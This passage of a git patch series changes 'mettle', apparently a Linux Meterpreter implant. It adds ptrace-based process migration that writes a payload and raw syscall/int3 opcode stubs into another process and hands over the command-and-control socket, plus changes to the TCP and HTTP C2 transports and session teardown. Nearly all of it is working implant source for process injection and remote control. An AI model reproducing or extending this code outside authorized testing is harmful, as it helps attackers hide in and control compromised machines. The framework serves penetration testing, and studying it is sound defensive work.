regs.rax; +#elif defined(__i386__) + *mmaped_address = regs.eax; +#endif ptrace(PTRACE_SETREGS, pid, NULL, &saved_regs); ptrace(PTRACE_CONT, pid, NULL, NULL); @@ -310,17 +328,27 @@ int remote_call_payload(int pid, long payload_address, long stub_address, int fd return 0; } + +#if defined(__x86_64__) regs.rip = stub_address; regs.rsp = saved_regs.rsp+0x100; regs.rbp = saved_regs.rbp; - regs.r9 = payload_address; - regs.r10 = getpid(); - regs.r11 = fd; + regs.rax = payload_address; + regs.rbx = getpid(); + regs.rcx = fd; +#elif defined(__i386__) + regs.eip = stub_address; + regs.esp = saved_regs.esp + 0x100; + regs.ebp = saved_regs.ebp; + regs.eax = payload_address; // payload mmap base + regs.ebx = getpid(); // current pid (for pidfd_open in child) + regs.ecx = fd; // socket fd (for pidfd_getfd in child) +#endif ptrace(PTRACE_SETREGS, pid, NULL, ®s); - + ptrace(PTRACE_CONT, pid, NULL, NULL); - + wait(&status); if(WIFSTOPPED(status) && WSTOPSIG(status) == 5) diff --git a/mettle/src/base_inject.h b/mettle/src/base_inject.h index 03fa7070..c17aa9f5 100644 --- a/mettle/src/base_inject.h +++ b/mettle/src/base_inject.h @@ -9,49 +9,21 @@ #include #include -//temporarly using PTRACE #include #include +#include #define SIZE_OF_ADDRESS 32 #define SIGAR_PROC_FILENAME(buffer, pid, fname) \ sigar_proc_filename(buffer, sizeof(buffer), \ pid, fname, SSTRLEN(fname)) -// SYSCALL instruction in x86_64 -// INT3 instruction in x86_64 -#define DO_SYSCALL "\x0f\x05\xcc" - -struct user_regs_struct -{ - unsigned long r15; - unsigned long r14; - unsigned long r13; - unsigned long r12; - unsigned long rbp; - unsigned long rbx; - unsigned long r11; - unsigned long r10; - unsigned long r9; - unsigned long r8; - unsigned long rax; - unsigned long rcx; - unsigned long rdx; - unsigned long rsi; - unsigned long rdi; - unsigned long orig_rax; - unsigned long rip; - unsigned long cs; - unsigned long eflags; - unsigned long rsp; - unsigned long ss; - unsigned long fs_base; - unsigned long gs_base; - unsigned long ds; - unsigned long es; - unsigned long fs; - unsigned long gs; -}; +// SYSCALL/INT3 stub: triggers the syscall then stops for ptrace to read result +#if defined(__x86_64__) +#define DO_SYSCALL "\x0f\x05\xcc" // syscall; int3 +#elif defined(__i386__) +#define DO_SYSCALL "\xcd\x80\xcc" // int 0x80; int3 +#endif typedef struct process_section { unsigned long start_address; From 12e3a6a7e1b1285cfb0eb717066e03861ddcdb2d Mon Sep 17 00:00:00 2001 From: msutovsky-r7 Date: Mon, 30 Mar 2026 10:53:17 +0200 Subject: [PATCH 13/19] Adds conditional compilation for x64/x86 --- mettle/src/coreapi.c | 29 ++++++++++++++++------------- 1 file changed, 16 insertions(+), 13 deletions(-) diff --git a/mettle/src/coreapi.c b/mettle/src/coreapi.c index d605605c..7973b673 100644 --- a/mettle/src/coreapi.c +++ b/mettle/src/coreapi.c @@ -11,8 +11,8 @@ #include "util-common.h" #include "bufferev.h" #include "network_client.h" -#include "base_inject.h" #include "c2.h" +#include "base_inject.h" #include #include @@ -20,21 +20,17 @@ #include #include -static void add_command_id(uint32_t command_id, void *arg) -{ - struct tlv_packet **p = arg; - *p = tlv_packet_add_u32(*p, TLV_TYPE_UINT, command_id); -} static struct tlv_packet *core_migrate(struct tlv_handler_ctx *ctx) { uint32_t pid; uint32_t destination_arch; - size_t payload_length, uuid_length, stub_length; + size_t payload_length, uuid_length, stub_length; struct mettle *m = ctx->arg; struct tlv_dispatcher *td = mettle_get_tlv_dispatcher(m); - + +#if defined(__x86_64__) || defined(__i386__) if(migrate_support()) { tlv_packet_get_u32(ctx->req, TLV_TYPE_MIGRATE_PID, &pid); @@ -46,7 +42,6 @@ static struct tlv_packet *core_migrate(struct tlv_handler_ctx *ctx) if (!payload || payload_length == 0) return tlv_packet_response_result(ctx, TLV_RESULT_FAILURE); - //char *uuid = tlv_packet_get_raw(ctx->req, TLV_TYPE_UUID, &uuid_length); const char *uuid = tlv_dispatcher_get_uuid(td,&uuid_length); char *migrate_stub = tlv_packet_get_raw(ctx->req, TLV_TYPE_MIGRATE_STUB, &stub_length); @@ -66,12 +61,20 @@ static struct tlv_packet *core_migrate(struct tlv_handler_ctx *ctx) return p; } } - +#endif + struct tlv_packet *p = tlv_packet_response_result(ctx, TLV_RESULT_FAILURE); return p; } + +static void add_command_id(uint32_t command_id, void *arg) +{ + struct tlv_packet **p = arg; + *p = tlv_packet_add_u32(*p, TLV_TYPE_UINT, command_id); +} + static struct tlv_packet *core_enumextcmd(struct tlv_handler_ctx *ctx) { struct mettle *m = ctx->arg; @@ -276,12 +279,12 @@ static struct tlv_packet *core_transport_list(struct tlv_handler_ctx *ctx) struct c2_transport * current_transport = c2_get_current_transport(c2); struct tlv_packet *p = tlv_packet_response_result(ctx, TLV_RESULT_SUCCESS); - + do { struct tlv_packet *packet_group = tlv_packet_new(TLV_TYPE_TRANS_GROUP, 0); - packet_group = tlv_packet_add_str(packet_group, TLV_TYPE_TRANS_URL, c2_transport_uri(current_transport)); + packet_group = tlv_packet_add_str(packet_group, TLV_TYPE_TRANS_URL, c2_transport_uri(current_transport)); + if (packet_group) { - printf("Adding transport '%s' to transport list response\n", c2_transport_uri(current_transport)); p = tlv_packet_add_child(p, packet_group); } current_transport = c2_get_next_transport(current_transport); From dd3de5a56ddfa774ca83532f5721461f72254f5b Mon Sep 17 00:00:00 2001 From: msutovsky-r7 Date: Mon, 30 Mar 2026 10:54:23 +0200 Subject: [PATCH 14/19] Adds aditional check when fetching fd --- mettle/src/c2_tcp.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/mettle/src/c2_tcp.c b/mettle/src/c2_tcp.c index 5880ff25..3aa34585 100644 --- a/mettle/src/c2_tcp.c +++ b/mettle/src/c2_tcp.c @@ -19,7 +19,8 @@ struct tcp_ctx { int c2_transport_get_socket_fd(struct c2_transport *t) { - if (t == NULL) { + + if (t == NULL || strcmp(c2_get_proto(t),"tcp") ) { return -1; } struct tcp_ctx *ctx = (struct tcp_ctx *)c2_transport_get_ctx(t); From ef4cc72e7568744e0524e9cda3b7c6b1a6eb8954 Mon Sep 17 00:00:00 2001 From: msutovsky-r7 Date: Mon, 30 Mar 2026 11:21:21 +0200 Subject: [PATCH 15/19] Adds methods for fetching transport type and proto --- mettle/src/c2.c | 9 +++++++++ mettle/src/c2.h | 3 +++ 2 files changed, 12 insertions(+) diff --git a/mettle/src/c2.c b/mettle/src/c2.c index c9658bf9..99500a91 100644 --- a/mettle/src/c2.c +++ b/mettle/src/c2.c @@ -320,6 +320,15 @@ void * c2_transport_get_ctx(struct c2_transport *t) return t->ctx; } +struct c2_transport_type * c2_get_transport_type(struct c2_transport *t) +{ + return t->type; +} + +char * c2_get_proto(struct c2_transport *t){ + return t->type->proto; +} + void c2_transport_set_ctx(struct c2_transport *t, void *ctx) { t->ctx = ctx; diff --git a/mettle/src/c2.h b/mettle/src/c2.h index ecce7e55..ea735cc8 100644 --- a/mettle/src/c2.h +++ b/mettle/src/c2.h @@ -21,6 +21,7 @@ int c2_close(struct c2 *c2); void c2_free(struct c2 *c2); + #define C2_REACHABLE 0x01 typedef void (*c2_data_cb)(struct c2 *c2, void *arg); @@ -74,4 +75,6 @@ void c2_transport_ingress_queue(struct c2_transport *t, struct buffer_queue *src int c2_transport_get_socket_fd(struct c2_transport *t); +struct c2_transport_type * c2_get_transport_type(struct c2_transport *t); +char * c2_get_proto(struct c2_transport *t); #endif From 5ade0f16ed5ea9c5686292162b10d237f2f01a83 Mon Sep 17 00:00:00 2001 From: msutovsky-r7 Date: Thu, 2 Apr 2026 10:07:12 -0400 Subject: [PATCH 16/19] Adds URI parsing --- mettle/src/c2.c | 41 +++++++++++++++++++++++++++++++ mettle/src/c2.h | 2 ++ mettle/src/c2_http.c | 58 ++++++++++++++++++++++++-------------------- mettle/src/coreapi.c | 4 +++ 4 files changed, 79 insertions(+), 26 deletions(-) diff --git a/mettle/src/c2.c b/mettle/src/c2.c index 99500a91..db565193 100644 --- a/mettle/src/c2.c +++ b/mettle/src/c2.c @@ -13,6 +13,7 @@ #include #include +#include "argv_split.h" #include "c2.h" #include "c2_transports.h" #include "network_client.h" @@ -23,6 +24,8 @@ struct c2_transport { struct c2_transport *prev, *next; char *uri, *dest; + char *user_agent; + char *transport_args; struct c2 *c2; struct c2_transport_type *type; void *ctx; @@ -116,6 +119,8 @@ c2_remove_transports(struct c2 *c2) t->type->cbs.free(t); } free(t->uri); + free(t->transport_args); + free(t->user_agent); free(t); } return 0; @@ -144,6 +149,30 @@ int c2_add_transport_uri(struct c2 *c2, const char *uri) goto err; } + /* Strip transport args from URI and parse user agent */ + char *pipe = strchr(t->uri, '|'); + if (pipe != NULL) { + t->transport_args = strdup(pipe + 1); + *pipe = '\0'; + if (t->transport_args != NULL) { + char *args_copy = strdup(t->transport_args); + if (args_copy != NULL) { + size_t argc = 0; + char **argv = argv_split(args_copy, NULL, &argc); + if (argv != NULL) { + for (size_t i = 0; i + 1 < argc && argv[i + 1]; i += 2) { + if (strcmp(argv[i], "--ua") == 0) { + t->user_agent = strdup(argv[i + 1]); + break; + } + } + free(argv); + } + free(args_copy); + } + } + } + /* * t->dest points to the string beyond the protocol specifier */ @@ -163,6 +192,8 @@ int c2_add_transport_uri(struct c2 *c2, const char *uri) err: if (t) { free(t->uri); + free(t->transport_args); + free(t->user_agent); free(t); } return -1; @@ -305,6 +336,16 @@ const char * c2_transport_uri(struct c2_transport *t) return t->uri; } +const char * c2_transport_ua(struct c2_transport *t) +{ + return t->user_agent; +} + +const char * c2_transport_args(struct c2_transport *t) +{ + return t->transport_args; +} + const char * c2_transport_dest(struct c2_transport *t) { return t->dest; diff --git a/mettle/src/c2.h b/mettle/src/c2.h index ea735cc8..e833d4fc 100644 --- a/mettle/src/c2.h +++ b/mettle/src/c2.h @@ -61,6 +61,8 @@ struct c2_transport* c2_get_current_transport(struct c2 *c2); struct c2_transport* c2_get_next_transport(struct c2_transport *t); const char * c2_transport_uri(struct c2_transport *t); +const char * c2_transport_ua(struct c2_transport *t); +const char * c2_transport_args(struct c2_transport *t); const char * c2_transport_dest(struct c2_transport *t); struct ev_loop * c2_transport_loop(struct c2_transport *loop); diff --git a/mettle/src/c2_http.c b/mettle/src/c2_http.c index a6b95d8f..4448851e 100644 --- a/mettle/src/c2_http.c +++ b/mettle/src/c2_http.c @@ -197,37 +197,43 @@ int http_transport_init(struct c2_transport *t) add_header(ctx, "Connection: close"); - char *args = strchr(ctx->uri, '|'); - if (args) { - *args = '\0'; - if (strlen(++args)) { + const char *ua = c2_transport_ua(t); + if (ua) { + ctx->data.ua = strdup(ua); + log_info("ua: %s", ctx->data.ua); + } + + const char *raw_args = c2_transport_args(t); + if (raw_args && strlen(raw_args)) { + char *args = strdup(raw_args); + if (args) { size_t argc = 0; char **argv = argv_split(args, NULL, &argc); - for (size_t i = 0; i + 1 < argc && argv[i + 1]; i += 2) { - if (strcmp(argv[i], "--host") == 0) { - char *host_header = NULL; - if (asprintf(&host_header, "Host: %s", argv[i + 1]) != -1) { - add_header(ctx, host_header); - free(host_header); + if (argv) { + for (size_t i = 0; i + 1 < argc && argv[i + 1]; i += 2) { + if (strcmp(argv[i], "--host") == 0) { + char *host_header = NULL; + if (asprintf(&host_header, "Host: %s", argv[i + 1]) != -1) { + add_header(ctx, host_header); + free(host_header); + } + } + if (strcmp(argv[i], "--referer") == 0) { + ctx->data.referer = strdup(argv[i + 1]); + log_info("referer: %s", ctx->data.referer); + } + if (strcmp(argv[i], "--cookie") == 0) { + ctx->data.cookie_list = strdup(argv[i + 1]); + log_info("cookie: %s", ctx->data.cookie_list); + } + if (strcmp(argv[i], "--header") == 0) { + add_header(ctx, argv[i + 1]); + log_info("header: %s", argv[i + 1]); } } - if (strcmp(argv[i], "--ua") == 0) { - ctx->data.ua = strdup(argv[i + 1]); - log_info("ua: %s", ctx->data.ua); - } - if (strcmp(argv[i], "--referer") == 0) { - ctx->data.referer = strdup(argv[i + 1]); - log_info("referer: %s", ctx->data.referer); - } - if (strcmp(argv[i], "--cookie") == 0) { - ctx->data.cookie_list = strdup(argv[i + 1]); - log_info("cookie: %s", ctx->data.cookie_list); - } - if (strcmp(argv[i], "--header") == 0) { - add_header(ctx, argv[i + 1]); - log_info("header: %s", argv[i + 1]); - } + free(argv); } + free(args); } } diff --git a/mettle/src/coreapi.c b/mettle/src/coreapi.c index 7973b673..a8777ff6 100644 --- a/mettle/src/coreapi.c +++ b/mettle/src/coreapi.c @@ -283,6 +283,10 @@ static struct tlv_packet *core_transport_list(struct tlv_handler_ctx *ctx) do { struct tlv_packet *packet_group = tlv_packet_new(TLV_TYPE_TRANS_GROUP, 0); packet_group = tlv_packet_add_str(packet_group, TLV_TYPE_TRANS_URL, c2_transport_uri(current_transport)); +// const char *ua = c2_transport_ua(current_transport); +// if (ua) { +// packet_group = tlv_packet_add_str(packet_group, TLV_TYPE_TRANS_UA, ua); +// } if (packet_group) { p = tlv_packet_add_child(p, packet_group); From 764975cb0904587a2f653d30701a7f5103af8068 Mon Sep 17 00:00:00 2001 From: msutovsky-r7 Date: Mon, 6 Apr 2026 15:47:58 +0200 Subject: [PATCH 17/19] Adds support for sending current transport URL --- mettle/src/c2.c | 45 ++++++--------------------------- mettle/src/c2.h | 1 + mettle/src/c2_http.c | 59 ++++++++++++++++++++------------------------ mettle/src/coreapi.c | 41 +++++++++++++++++++----------- 4 files changed, 62 insertions(+), 84 deletions(-) diff --git a/mettle/src/c2.c b/mettle/src/c2.c index db565193..ec61ad25 100644 --- a/mettle/src/c2.c +++ b/mettle/src/c2.c @@ -13,7 +13,6 @@ #include #include -#include "argv_split.h" #include "c2.h" #include "c2_transports.h" #include "network_client.h" @@ -24,8 +23,6 @@ struct c2_transport { struct c2_transport *prev, *next; char *uri, *dest; - char *user_agent; - char *transport_args; struct c2 *c2; struct c2_transport_type *type; void *ctx; @@ -119,8 +116,6 @@ c2_remove_transports(struct c2 *c2) t->type->cbs.free(t); } free(t->uri); - free(t->transport_args); - free(t->user_agent); free(t); } return 0; @@ -149,30 +144,6 @@ int c2_add_transport_uri(struct c2 *c2, const char *uri) goto err; } - /* Strip transport args from URI and parse user agent */ - char *pipe = strchr(t->uri, '|'); - if (pipe != NULL) { - t->transport_args = strdup(pipe + 1); - *pipe = '\0'; - if (t->transport_args != NULL) { - char *args_copy = strdup(t->transport_args); - if (args_copy != NULL) { - size_t argc = 0; - char **argv = argv_split(args_copy, NULL, &argc); - if (argv != NULL) { - for (size_t i = 0; i + 1 < argc && argv[i + 1]; i += 2) { - if (strcmp(argv[i], "--ua") == 0) { - t->user_agent = strdup(argv[i + 1]); - break; - } - } - free(argv); - } - free(args_copy); - } - } - } - /* * t->dest points to the string beyond the protocol specifier */ @@ -192,8 +163,6 @@ int c2_add_transport_uri(struct c2 *c2, const char *uri) err: if (t) { free(t->uri); - free(t->transport_args); - free(t->user_agent); free(t); } return -1; @@ -336,14 +305,14 @@ const char * c2_transport_uri(struct c2_transport *t) return t->uri; } -const char * c2_transport_ua(struct c2_transport *t) -{ - return t->user_agent; -} - -const char * c2_transport_args(struct c2_transport *t) +void c2_transport_set_uri(struct c2_transport *t, const char *uri) { - return t->transport_args; + free(t->uri); + t->uri = strdup(uri); + t->dest = strstr(t->uri, "://"); + if (t->dest) { + t->dest += 3; + } } const char * c2_transport_dest(struct c2_transport *t) diff --git a/mettle/src/c2.h b/mettle/src/c2.h index e833d4fc..87bdc87e 100644 --- a/mettle/src/c2.h +++ b/mettle/src/c2.h @@ -61,6 +61,7 @@ struct c2_transport* c2_get_current_transport(struct c2 *c2); struct c2_transport* c2_get_next_transport(struct c2_transport *t); const char * c2_transport_uri(struct c2_transport *t); +void c2_transport_set_uri(struct c2_transport *t, const char *uri); const char * c2_transport_ua(struct c2_transport *t); const char * c2_transport_args(struct c2_transport *t); const char * c2_transport_dest(struct c2_transport *t); diff --git a/mettle/src/c2_http.c b/mettle/src/c2_http.c index 4448851e..f2aa6f09 100644 --- a/mettle/src/c2_http.c +++ b/mettle/src/c2_http.c @@ -50,6 +50,7 @@ static void patch_uri(struct http_ctx *ctx, struct buffer_queue *q) } if (asprintf(&ctx->uri, "%s%s", ctx->uri, new_uri) > 0) { free(old_uri); + c2_transport_set_uri(ctx->t, ctx->uri); } } } @@ -197,43 +198,37 @@ int http_transport_init(struct c2_transport *t) add_header(ctx, "Connection: close"); - const char *ua = c2_transport_ua(t); - if (ua) { - ctx->data.ua = strdup(ua); - log_info("ua: %s", ctx->data.ua); - } - - const char *raw_args = c2_transport_args(t); - if (raw_args && strlen(raw_args)) { - char *args = strdup(raw_args); - if (args) { + char *args = strchr(ctx->uri, '|'); + if (args) { + *args = '\0'; + if (strlen(++args)) { size_t argc = 0; char **argv = argv_split(args, NULL, &argc); - if (argv) { - for (size_t i = 0; i + 1 < argc && argv[i + 1]; i += 2) { - if (strcmp(argv[i], "--host") == 0) { - char *host_header = NULL; - if (asprintf(&host_header, "Host: %s", argv[i + 1]) != -1) { - add_header(ctx, host_header); - free(host_header); - } - } - if (strcmp(argv[i], "--referer") == 0) { - ctx->data.referer = strdup(argv[i + 1]); - log_info("referer: %s", ctx->data.referer); - } - if (strcmp(argv[i], "--cookie") == 0) { - ctx->data.cookie_list = strdup(argv[i + 1]); - log_info("cookie: %s", ctx->data.cookie_list); - } - if (strcmp(argv[i], "--header") == 0) { - add_header(ctx, argv[i + 1]); - log_info("header: %s", argv[i + 1]); + for (size_t i = 0; i + 1 < argc && argv[i + 1]; i += 2) { + if (strcmp(argv[i], "--host") == 0) { + char *host_header = NULL; + if (asprintf(&host_header, "Host: %s", argv[i + 1]) != -1) { + add_header(ctx, host_header); + free(host_header); } } - free(argv); + if (strcmp(argv[i], "--ua") == 0) { + ctx->data.ua = strdup(argv[i + 1]); + log_info("ua: %s", ctx->data.ua); + } + if (strcmp(argv[i], "--referer") == 0) { + ctx->data.referer = strdup(argv[i + 1]); + log_info("referer: %s", ctx->data.referer); + } + if (strcmp(argv[i], "--cookie") == 0) { + ctx->data.cookie_list = strdup(argv[i + 1]); + log_info("cookie: %s", ctx->data.cookie_list); + } + if (strcmp(argv[i], "--header") == 0) { + add_header(ctx, argv[i + 1]); + log_info("header: %s", argv[i + 1]); + } } - free(args); } } diff --git a/mettle/src/coreapi.c b/mettle/src/coreapi.c index a8777ff6..9961c66d 100644 --- a/mettle/src/coreapi.c +++ b/mettle/src/coreapi.c @@ -20,6 +20,13 @@ #include #include + +static void migrate_break_cb(struct ev_loop *loop, ev_timer *w, int revents) +{ + free(w); + ev_break(loop, EVBREAK_ALL); +} + static struct tlv_packet *core_migrate(struct tlv_handler_ctx *ctx) { @@ -29,7 +36,7 @@ static struct tlv_packet *core_migrate(struct tlv_handler_ctx *ctx) struct mettle *m = ctx->arg; struct tlv_dispatcher *td = mettle_get_tlv_dispatcher(m); - + #if defined(__x86_64__) || defined(__i386__) if(migrate_support()) { @@ -37,32 +44,42 @@ static struct tlv_packet *core_migrate(struct tlv_handler_ctx *ctx) tlv_packet_get_u32(ctx->req, TLV_TYPE_MIGRATE_ARCH, &destination_arch); char *payload = tlv_packet_get_raw(ctx->req, TLV_TYPE_MIGRATE_PAYLOAD, &payload_length); - + // payload cannot be NULL if (!payload || payload_length == 0) return tlv_packet_response_result(ctx, TLV_RESULT_FAILURE); - + const char *uuid = tlv_dispatcher_get_uuid(td,&uuid_length); char *migrate_stub = tlv_packet_get_raw(ctx->req, TLV_TYPE_MIGRATE_STUB, &stub_length); - + // stub cannot be NULL if (!migrate_stub || stub_length == 0) return tlv_packet_response_result(ctx, TLV_RESULT_FAILURE); - + struct c2 *c2 = mettle_get_c2(m); struct c2_transport * transport = c2_get_current_transport(c2); int fd = c2_transport_get_socket_fd(transport); if(migrate(pid, migrate_stub, stub_length, payload, payload_length, uuid, fd)) { - struct tlv_packet *p = tlv_packet_response_result(ctx, TLV_RESULT_SUCCESS); - ev_break(mettle_get_loop(m), EVBREAK_ALL); - return p; + struct tlv_packet *p = tlv_packet_response_result(ctx, TLV_RESULT_SUCCESS); + + /* + * The HTTP transport can take a while to detect the migrated session, so we need to wait here until it does. 2 seconds should be more than enough time for the transport to detect the new session and kill this one. + */ + ev_timer *break_timer = malloc(sizeof(ev_timer)); + if (break_timer) { + ev_timer_init(break_timer, migrate_break_cb, 2.0, 0); + ev_timer_start(mettle_get_loop(m), break_timer); + } else { + ev_break(mettle_get_loop(m), EVBREAK_ALL); + } + return p; } } #endif - + struct tlv_packet *p = tlv_packet_response_result(ctx, TLV_RESULT_FAILURE); return p; @@ -281,12 +298,8 @@ static struct tlv_packet *core_transport_list(struct tlv_handler_ctx *ctx) struct tlv_packet *p = tlv_packet_response_result(ctx, TLV_RESULT_SUCCESS); do { - struct tlv_packet *packet_group = tlv_packet_new(TLV_TYPE_TRANS_GROUP, 0); + struct tlv_packet *packet_group = tlv_packet_new(TLV_TYPE_TRANS_GROUP, 0); packet_group = tlv_packet_add_str(packet_group, TLV_TYPE_TRANS_URL, c2_transport_uri(current_transport)); -// const char *ua = c2_transport_ua(current_transport); -// if (ua) { -// packet_group = tlv_packet_add_str(packet_group, TLV_TYPE_TRANS_UA, ua); -// } if (packet_group) { p = tlv_packet_add_child(p, packet_group); From b8fdac5b7c9aa22d7f68e2ab31126dd8f3bb2182 Mon Sep 17 00:00:00 2001 From: msutovsky-r7 Date: Tue, 7 Apr 2026 13:18:22 +0200 Subject: [PATCH 18/19] Adds check when sending response from migrate to make sure response has been sent --- mettle/src/c2.c | 11 +++++++++++ mettle/src/c2.h | 4 ++++ mettle/src/c2_http.c | 6 ++++++ mettle/src/c2_transports.h | 2 ++ mettle/src/coreapi.c | 13 ++++++++++--- 5 files changed, 33 insertions(+), 3 deletions(-) diff --git a/mettle/src/c2.c b/mettle/src/c2.c index ec61ad25..03e9701a 100644 --- a/mettle/src/c2.c +++ b/mettle/src/c2.c @@ -187,6 +187,17 @@ static void transport_tx(struct c2 *c2) } } +int c2_transport_egress_pending(struct c2 *c2) +{ + struct c2_transport *t = c2->curr_transport; + + if (strcmp(c2_get_proto(t), "tcp") == 0) { + return 0; + } + + return http_transport_egress_pending(t); +} + ssize_t c2_read(struct c2 *c2, void *buf, size_t buflen) { return buffer_queue_remove(c2->ingress, buf, buflen); diff --git a/mettle/src/c2.h b/mettle/src/c2.h index 87bdc87e..3933b4cf 100644 --- a/mettle/src/c2.h +++ b/mettle/src/c2.h @@ -54,6 +54,8 @@ struct c2_transport_cbs { void (*free)(struct c2_transport *t); }; + + int c2_register_transport_type(struct c2 *c2, const char *proto, struct c2_transport_cbs *cbs); @@ -78,6 +80,8 @@ void c2_transport_ingress_queue(struct c2_transport *t, struct buffer_queue *src int c2_transport_get_socket_fd(struct c2_transport *t); +int c2_transport_egress_pending(struct c2 *c2); + struct c2_transport_type * c2_get_transport_type(struct c2_transport *t); char * c2_get_proto(struct c2_transport *t); #endif diff --git a/mettle/src/c2_http.c b/mettle/src/c2_http.c index f2aa6f09..1819da77 100644 --- a/mettle/src/c2_http.c +++ b/mettle/src/c2_http.c @@ -27,6 +27,12 @@ struct http_ctx { bool online; }; +int http_transport_egress_pending(struct c2_transport *t) +{ + struct http_ctx *ctx = c2_transport_get_ctx(t); + return buffer_queue_len(ctx->egress) > 0; +} + static void patch_uri(struct http_ctx *ctx, struct buffer_queue *q) { struct tlv_packet *request = tlv_packet_read_buffer_queue(NULL, q); diff --git a/mettle/src/c2_transports.h b/mettle/src/c2_transports.h index 80a3fd23..ae2f16bd 100644 --- a/mettle/src/c2_transports.h +++ b/mettle/src/c2_transports.h @@ -10,4 +10,6 @@ void c2_register_http_transports(struct c2 *c2); void c2_register_tcp_transports(struct c2 *c2); +int http_transport_egress_pending(struct c2_transport *t); + #endif diff --git a/mettle/src/coreapi.c b/mettle/src/coreapi.c index 9961c66d..9fdb10d6 100644 --- a/mettle/src/coreapi.c +++ b/mettle/src/coreapi.c @@ -23,6 +23,11 @@ static void migrate_break_cb(struct ev_loop *loop, ev_timer *w, int revents) { + struct mettle *m = w->data; + struct c2 *c2 = mettle_get_c2(m); + + while(c2_transport_egress_pending(c2)){}; + free(w); ev_break(loop, EVBREAK_ALL); } @@ -64,15 +69,17 @@ static struct tlv_packet *core_migrate(struct tlv_handler_ctx *ctx) if(migrate(pid, migrate_stub, stub_length, payload, payload_length, uuid, fd)) { struct tlv_packet *p = tlv_packet_response_result(ctx, TLV_RESULT_SUCCESS); - + /* - * The HTTP transport can take a while to detect the migrated session, so we need to wait here until it does. 2 seconds should be more than enough time for the transport to detect the new session and kill this one. + * The TCP response is sent faster than HTTP response, so we need to make sure that the Mettle is killed after the response is sent. */ ev_timer *break_timer = malloc(sizeof(ev_timer)); if (break_timer) { - ev_timer_init(break_timer, migrate_break_cb, 2.0, 0); + break_timer->data = m; + ev_timer_init(break_timer, migrate_break_cb, 0.5, 0); ev_timer_start(mettle_get_loop(m), break_timer); } else { + // I guess the mettle dies ev_break(mettle_get_loop(m), EVBREAK_ALL); } return p; From efb6cfa067856858bcab0c43fd5bfb878b0c490a Mon Sep 17 00:00:00 2001 From: msutovsky-r7 Date: Tue, 7 Apr 2026 17:03:28 +0200 Subject: [PATCH 19/19] Fixes the migrate for staged payloads --- mettle/src/c2.c | 8 ++++---- mettle/src/c2_tcp.c | 2 +- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/mettle/src/c2.c b/mettle/src/c2.c index 03e9701a..be802e91 100644 --- a/mettle/src/c2.c +++ b/mettle/src/c2.c @@ -190,10 +190,10 @@ static void transport_tx(struct c2 *c2) int c2_transport_egress_pending(struct c2 *c2) { struct c2_transport *t = c2->curr_transport; - - if (strcmp(c2_get_proto(t), "tcp") == 0) { - return 0; - } + + if (strcmp(c2_get_proto(t), "tcp") == 0 || strcmp(c2_get_proto(t), "fd") == 0) { + return 0; + } return http_transport_egress_pending(t); } diff --git a/mettle/src/c2_tcp.c b/mettle/src/c2_tcp.c index 3aa34585..71d66681 100644 --- a/mettle/src/c2_tcp.c +++ b/mettle/src/c2_tcp.c @@ -20,7 +20,7 @@ struct tcp_ctx { int c2_transport_get_socket_fd(struct c2_transport *t) { - if (t == NULL || strcmp(c2_get_proto(t),"tcp") ) { + if (t == NULL || ( strcmp(c2_get_proto(t),"tcp") && strcmp(c2_get_proto(t),"fd") )) { return -1; } struct tcp_ctx *ctx = (struct tcp_ctx *)c2_transport_get_ctx(t);